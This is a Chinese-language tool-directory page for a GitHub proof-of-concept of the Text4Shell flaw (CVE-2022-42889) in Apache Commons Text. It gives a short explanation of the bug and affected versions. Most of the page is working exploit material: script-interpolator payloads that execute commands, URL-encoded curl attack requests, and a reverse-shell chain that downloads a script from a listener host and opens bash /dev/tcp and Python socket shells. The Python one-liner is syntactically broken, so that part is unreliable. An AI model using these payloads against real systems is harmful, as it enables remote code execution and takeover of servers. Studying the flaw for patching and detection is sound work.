Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 又名 Text4Shell 研究与 PoC | Kitploit
工具/GitHubGitHub/cxzero/cve-2022-42889-text4shell
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 又名 Text4Shell 研究与 PoC

查看仓库
2033年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-42889 又名 text4shell

针对最近由 @pwntester 发现的 Apache Commons Text 漏洞 的概念验证(PoC):

正如 https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ 中所述:

该漏洞存在于 StringSubstitutor 插值器对象中。插值器由 StringSubstitutor.createInterpolator() 方法创建,并允许按 StringLookupFactory 中定义的字符串查找。这可以通过传递一个格式为 ${prefix:name} 的字符串来利用,其中 prefix 是上述查找。使用 "script"、"dns" 或 "url" 查找将允许在将字符串传递给插值器对象时执行任意脚本。

受影响版本

受影响的 Apache Commons Text 版本为 1.5 至 1.9。 该漏洞已在 1.10 版本中修复。

利用条件

  • 运行 Apache Commons Text 版本 1.5 至 1.9
  • 使用 StringSubstitutor 插值器类

要实现远程利用,攻击者控制的输入必须用作 StringSubstitutor 插值器的输入。具体体现在 StringSubstitutor.replace() 或 StringSubstitutor.replaceIn() 方法中。

其他 JavaScript 脚本引擎

自 JDK 15 起,Nashorn JavaScript 引擎已被移除:https://openjdk.org/jeps/372。 但如果包含第三方依赖(如 JEXL),Apache Commons Text 中仍可能发生 RCE(https://twitter.com/pwntester/status/1582321752566161409)。

利用方法

script 插值器

可用于获得 RCE。

JDK < 15

Nashorn 引擎:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

如果使用第三方 JEXL:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

dns 插值器

可导致 DNS 查找:

root@kitploit:~
${dns:address|commons.apache.org}

url 插值器

连接到指定的 URL 并尝试获取内容:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

PoC 手动编译

模板基于 https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

在 Docker 中运行应用

使用 JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

使用 JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

提供的 PoC

以下是测试上述不同攻击向量的各个端点。

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

使用 Nashorn:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

使用 JEXL:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

获取反弹 shell

为简单起见,我使用默认的 Docker 接口进行 netcat 监听。经过摸索,我整理出以下使用 bash 和 python 反弹 shell 的有效载荷,均正常工作:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

其中 rev.sh 可能包含以下内容:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

参考

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

致谢其他 PoC

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
下载工具